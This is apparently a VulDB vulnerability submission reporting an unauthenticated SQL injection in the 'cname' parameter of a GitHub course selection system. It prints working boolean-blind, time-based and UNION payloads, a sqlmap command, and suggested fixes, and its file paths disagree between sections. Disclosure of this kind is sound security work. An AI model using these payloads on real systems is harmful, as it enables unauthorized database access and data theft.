Submit #649316: github.com Course Selection System V1.0 SQL Injectioninfo

Titlegithub.com Course Selection System V1.0 SQL Injection
Description# github.com Course Selection System Project V1.0 /Profilers/PriProfile/COUNT2.php SQL injection # NAME OF AFFECTED PRODUCT(S) - Course Selection System ## Vendor Homepage - github.com # AFFECTED AND/OR FIXED VERSION(S) ## submitter - shang ## Vulnerable File - /Profilers/PriProfile/COUNT2.php ## VERSION(S) - V1.0 ## Software Link - https://github.com/kidaze/CourseSelectionSystem # PROBLEM TYPE ## Vulnerability Type - SQL injection ## Root Cause - A SQL injection vulnerability was found in the '/Profilers/SProfile/reg.php ' file of the 'Course Selection System' project. The reason for this issue is that attackers inject malicious code from the parameter 'cname‘ and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations. ## Impact - Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity. # DESCRIPTION - During the security review of "Course Selection System",I discovered a critical SQL injection vulnerability in the "/Profilers/SProfile/reg.php " file. This vulnerability stems from insufficient user input validation of the 'cname' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity. # No login or authorization is required to exploit this vulnerability # Vulnerability details and POC ## Vulnerability lonameion: - 'cname' parameter ## Payload: ```makefile Parameter: MULTIPART cname ((custom) POST) Type: boolean-based blind Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: -----------------------------233159947236516905883110930780 Content-Disposition: form-data; name="cname" 1' RLIKE (SELECT (CASE WHEN (1355=1355) THEN 1 ELSE 0x28 END))-- KatN -----------------------------233159947236516905883110930780 Content-Disposition: form-data; name="submit" -----------------------------233159947236516905883110930780-- Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: -----------------------------233159947236516905883110930780 Content-Disposition: form-data; name="cname" 1' AND (SELECT 6228 FROM (SELECT(SLEEP(5)))JuMG)-- ewVK -----------------------------233159947236516905883110930780 Content-Disposition: form-data; name="submit" -----------------------------233159947236516905883110930780-- Type: UNION query Title: MySQL UNION query (NULL) - 11 columns Payload: -----------------------------233159947236516905883110930780 Content-Disposition: form-data; name="cname" 1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71787a7a71,0x6c4f73746b4b5976446b446d5a6a736c4b63526f7666557343776f7069536557794c73485a486c54,0x7162717071),NULL# -----------------------------233159947236516905883110930780 Content-Disposition: form-data; name="submit" ``` ## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: ```bash sqlmap -u "http://10.20.33.16/Profilers/PriProfile/COUNT2.php" --data="cname=1&submit=" --dbs ``` <img width="2240" height="1022" alt="Image" src="https://github.com/user-attachments/assets/89b9f4d1-82dc-4170-8375-be068d77a8db" /> # Suggested repair 1. **Use prepared statements and parameter binding:** Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. 2. **Input validation and filtering:** Strictly validate and filter user input data to ensure it conforms to the expected format. 3. **Minimize database user permissions:** Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. 4. **Regular security audits:** Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.
Source⚠️ https://github.com/shang-hh/shang/blob/main/sql.txt
User
 shang (UID 89579)
Submission09/06/2025 05:16 (8 months ago)
Moderation09/17/2025 08:24 (11 days later)
StatusAccepted
VulDB entry324614 [kidaze CourseSelectionSystem up to 42cd892b40a18d50bd4ed1905fa89f939173a464 COUNT2.php cname sql injection]
Points20

Interested in the pricing of exploits?

See the underground prices here!